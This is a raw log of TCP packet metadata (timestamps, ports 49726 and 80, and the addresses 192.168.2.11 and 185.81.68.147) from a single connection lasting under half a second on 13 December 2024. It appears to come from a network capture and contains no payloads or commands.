Dec 13, 2024 08:18:52.832765102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.832798958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.833906889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.833964109 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.834007978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.835107088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.835170031 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.835186005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.836306095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.836457014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.836487055 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.837680101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.837693930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.837790012 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.838676929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.838736057 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.838799953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.839883089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.839973927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.839975119 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.841062069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.841105938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.841129065 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.842298985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.842363119 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.842446089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.843534946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.843585968 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.843698025 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.844676018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.844748974 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.844758034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.845827103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.845917940 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.845927954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.847047091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.847081900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.847117901 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.848251104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.848356962 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.848359108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.849430084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.849522114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.849522114 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.850595951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.850730896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.850835085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.851825953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.851883888 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.851906061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.853013992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.853079081 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.853082895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.854216099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.854271889 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.854319096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.855398893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.855493069 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.855496883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.856574059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.856683016 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.856683016 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.857769012 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.857856035 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.857870102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.858983994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.859024048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.859054089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.918129921 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.994652033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.994668007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.994689941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.994702101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.994712114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.994723082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.994734049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.994745016 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.994824886 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.994883060 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.995383978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.995398998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.995501995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.995515108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.995515108 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.995554924 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.996253014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.996417999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.996551037 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.997423887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.997464895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.997596025 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.998614073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.998680115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.998809099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.999825001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.999933958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.000166893 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.001003981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.001130104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.001748085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.002206087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.002249002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.002396107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.003412962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.003545046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.003632069 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.004611015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.004755974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.004837036 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.005808115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.005856037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.005940914 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.006997108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.007081985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.007179022 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.008162975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.008270025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.008388996 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.009344101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.009430885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.009635925 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.010608912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.010744095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.011189938 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.011784077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.011904955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.012665033 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.012922049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.013025045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.013257027 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.014141083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.014225960 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.014549017 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.015362978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.015388966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.015476942 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.016499996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.016624928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.016707897 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.017704010 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.017895937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.018929958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.019001007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.019021988 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.019049883 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.020101070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.020181894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.020399094 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.021341085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.021416903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.021498919 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.022510052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.022646904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.022720098 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.023664951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.023788929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.024338007 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.024889946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.025010109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.025083065 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.026076078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.026254892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.026354074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.027280092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.027307987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.027400970 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.028398991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.028505087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.028549910 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.029695034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.029808998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.029906034 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.030843019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.030973911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.031080961 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.032018900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.032147884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.032229900 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.033200979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.033360958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.033437967 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.034461021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.034550905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.034630060 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.035583973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.035697937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.035851002 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.036825895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.036932945 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.037010908 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.038038015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.038063049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.038191080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.039182901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.039335966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.039411068 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.040426970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.040510893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.040600061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.041595936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.041692972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.041785955 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.042778015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.042875051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.042972088 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.044023991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.044038057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.044152021 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.045172930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.045213938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.045304060 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.046360016 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.046462059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.046571016 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.047564030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.047696114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.047791004 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.048732042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.048850060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.048926115 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.049928904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.050173044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.050247908 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.051101923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.051219940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.051332951 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.052242041 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.105668068 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.181699991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.181833982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.181976080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.182199955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.182343006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.183420897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.183516979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.183547974 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.183592081 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.184609890 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.184684992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.184825897 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.185805082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.185899973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.186012030 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.186986923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.187093973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.188183069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.188282967 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.188302040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.188672066 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.189361095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.189506054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.189603090 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.190565109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.190675974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.190784931 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.191797018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.191915035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.192008972 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.192934036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.193054914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.194163084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.194228888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.194262981 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.194293976 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.195353031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.195487976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.195589066 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.196547031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.196657896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.197721958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.197834015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.197839022 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.197881937 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.198971033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.199045897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.199136972 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.200138092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.200252056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.200411081 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.201426983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.201569080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.201651096 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.202524900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.202622890 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.203479052 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.203742981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.203933001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.204917908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.205008030 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.205075979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.206125975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.206231117 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.206243992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.207329988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.207425117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.207446098 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.207472086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.208540916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.208611012 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.208689928 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.209778070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.209877968 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.209954977 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.210911989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.211002111 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.212088108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.212160110 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.212214947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.212661028 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.213279009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.213326931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.213443041 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.214471102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.214586973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.214663982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.215624094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.215740919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.216660976 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.216953039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.217073917 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.217158079 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.218219995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.218338966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.218461037 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.219212055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.219371080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.219427109 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.220423937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.220469952 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.220568895 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.221590042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.221713066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.221810102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.222822905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.222902060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.223992109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.224076033 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.224102020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:53.224627972 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:53.225215912 CET	80	49726	185.81.68.147	192.168.2.11
